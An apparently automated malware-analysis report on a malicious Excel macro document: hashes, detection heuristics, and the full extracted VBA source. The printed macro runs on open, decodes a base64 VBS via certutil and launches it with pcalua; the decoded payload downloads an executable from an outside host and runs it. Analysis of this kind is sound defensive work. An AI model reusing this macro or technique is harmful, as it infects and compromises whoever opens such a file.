Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f2bf23a46dcca018…

MALICIOUS

Office (OOXML)

15.8 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-25
MD5: 59bbd38c167401cf77b2e224ba644b2a SHA-1: 667403fee24cf09d121ac531993bfb0363d2bc60 SHA-256: f2bf23a46dcca0187b477fccc1c7a6b3e077486f97702feded016fea3256e322
364 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (command1)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        decodeFile = "cmd /c certutil -decode %temp%/8888888.txt %temp%/8888888.vbs "
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        start1 = "cmd /c echo "
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1585 bytes
SHA-256: 7b8faffd0446a6b13717efead27ab5d326c944b76536d6ccc075f73fdc0194ad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Auto_Open()
    Call writeFile1


End Sub



Sub writeFile1()
    string1 = "RElNIG9ialNoZWxsICAKc2V0IG9ialNoZWxsID0gd3NjcmlwdC5jcmVhdGVPYmplY3QoIndzY3J"
    string2 = "pcHQuc2hlbGwiKSAKaVJldHVybiA9IG9ialNoZWxsLlJ1bigiY21kIC9jIGVjaG8gd2dldCAtVX"
    string3 = "JpICBodHRwczovL3d3dy5yZWpldHRvLmNvbS9oZnMvaGZzLmV4ZSAtT3V0RmlsZSAldGVtcCUvd"
    string4 = "i5leGUgfCBwb3dlcnNoZWxsIC0gJiYgJXRlbXAlL3YuZXhlICIsIDAsIFRSVUUpICA="
    
    status1 = string1 & string2 & string3 & string4
    start1 = "cmd /c echo "
    end1 = " > %temp%/8888888.txt"
    
    command1 = start1 & status1 & end1
    Shell (command1)
    
    decodeFile = "cmd /c certutil -decode %temp%/8888888.txt %temp%/8888888.vbs "
    command2 = decodeFile & executeFile
    Shell (command2)
    
    executeVBS = "cmd /c pcalua  -a %temp%/8888888.vbs "
    Shell (executeVBS)
    
End Sub


Sub AutoOpen()
    Auto_Open
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 19968 bytes
SHA-256: 4b88b05de692ae3069dc831b9454dbb6ffa6e833803ee5ae95b8ccadb2781f72
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely